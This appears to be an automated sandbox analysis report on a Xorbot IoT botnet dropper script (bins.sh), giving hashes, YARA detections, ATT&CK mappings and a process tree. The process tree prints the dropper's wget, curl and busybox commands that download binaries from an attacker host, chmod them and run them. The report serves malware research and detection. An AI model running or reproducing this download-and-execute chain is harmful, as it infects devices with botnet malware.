xorbot | d2740e7d91004ad14804a2ea623ddad5252b5b7e8113fa1d66fbd8d2cc591a70

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
13/02/2025, 04:32

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General

Target
bins.sh
Size 10KB
Sample250213-e514pstmgx
SHA256 d2740e7d91004ad14804a2ea623ddad5252b5b7e8113fa1d66fbd8d2cc591a70
MD5 6cbcf957e7aa0fc282cb8cfd5e3cbfdb
SHA1 7bcf7535cf91531df6bd4499569912a0b4bf0fc0
SHA512 566a39a48538169df5e0ec0aaf0724f70f07e0916c1b975a4daf987574a54af9b6e55dbe446b6a1d3bc1d9cb74b2bfeea40177f21ff13673eba9008b9b1be553
SSDEEP 192:WyNuHhJm2XE4o2uyxwIhzuyxwIJm2XE44:WyNuHhy2uyxwIhzuyxwIS
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
812	chmod
820	chmod
828	chmod
836	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ	813	bins.sh
/tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ	821	bins.sh
/tmp/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv	829	bins.sh
/tmp/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM	837	bins.sh

Reads runtime system information 5 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 14 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
816	wget
811	busybox
819	busybox
827	busybox
840	wget
809	curl
817	curl
833	curl
709	wget
825	curl
832	wget
835	busybox
841	curl
824	wget

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv	curl
File opened for modification	/tmp/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM	busybox
File opened for modification	/tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ	wget
File opened for modification	/tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ	wget
File opened for modification	/tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ	curl
File opened for modification	/tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ	busybox
File opened for modification	/tmp/88ehbyRZXMOcXSWdL6rmqCSCKKRhkuE7HC	wget
File opened for modification	/tmp/88ehbyRZXMOcXSWdL6rmqCSCKKRhkuE7HC	curl
File opened for modification	/tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ	curl
File opened for modification	/tmp/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv	wget
File opened for modification	/tmp/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM	wget
File opened for modification	/tmp/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:707
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:709
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - System Network Configuration Discovery
  PID:811
- /bin/chmod
  chmod 777 xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  ./xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  PID:813
- /bin/rm
  rm xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
  2⤵
  PID:815
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:816
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/chmod
  chmod 777 kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  ./kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  PID:821
- /bin/rm
  rm kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
  2⤵
  PID:823
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:824
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  - System Network Configuration Discovery
  PID:827
- /bin/chmod
  chmod 777 W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  ./W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  PID:829
- /bin/rm
  rm W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
  2⤵
  PID:831
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod 777 22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  ./22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  PID:837
- /bin/rm
  rm 22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
  2⤵
  PID:839
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/88ehbyRZXMOcXSWdL6rmqCSCKKRhkuE7HC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:840
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/88ehbyRZXMOcXSWdL6rmqCSCKKRhkuE7HC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:841

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM

Path /tmp/22PiyX5scPbN2H4vpyMAZTzRoSCtkQGFbM
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
MD5 SHA1 SHA512 SSDEEP

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88ehbyRZXMOcXSWdL6rmqCSCKKRhkuE7HC

Path /tmp/88ehbyRZXMOcXSWdL6rmqCSCKKRhkuE7HC
Size 16KB
SHA256 2067db5b62210fe64a29d0c3f8717a0b57666574938fe1cb0dc4e546fb034e83
MD5 b6d52d7b14124fffb024bfdd6db305dc
SHA1 035a346fbdd9aabc9afc3b3c8e688457ac3adf93
SHA512 11009785345617ee943acfe14afece4475e5626f0c1195a26bf3a6041cf289b395eb9e36fbf621f223f2f014a7fdd279e069f607c2692aa0aa2f435be0f18959
SSDEEP 384:tWu6sphLF10/jvA9cAlAHzHxJIZK4aWmBVWyXcnt58djgezlfWl+w5I3ZplPDUgP:tW2LLF2/zA9cAlszHxJG6fsntGjHzsmR
MD5 SHA1 SHA512 SSDEEP

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88ehbyRZXMOcXSWdL6rmqCSCKKRhkuE7HC

Path /tmp/88ehbyRZXMOcXSWdL6rmqCSCKKRhkuE7HC
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

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W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv

Path /tmp/W2guTf8zuVpTizIzNKNhOfYKd3SB4g1ZIv
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

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kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ

Path /tmp/kPWudh2jNOnR5K9z6WRQ47u8lEHoRqrHxQ
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ

Path /tmp/xZvUA9BpbxFkH1Mc9KGPzC0jCvYKPClDVQ
Size 98KB
SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
MD5 5141342d0df8699fa32a6b066a0c592e
SHA1 8157673225bd5182f16215e2aa823a25ca2d4fbc
SHA512 d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
SSDEEP 3072:lxvAwSaWFr5Ryrfb3jb9RxqgRfEma1b5wdL35sPX:32FrIT3/9jqgmma1b5wdj5sPX
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads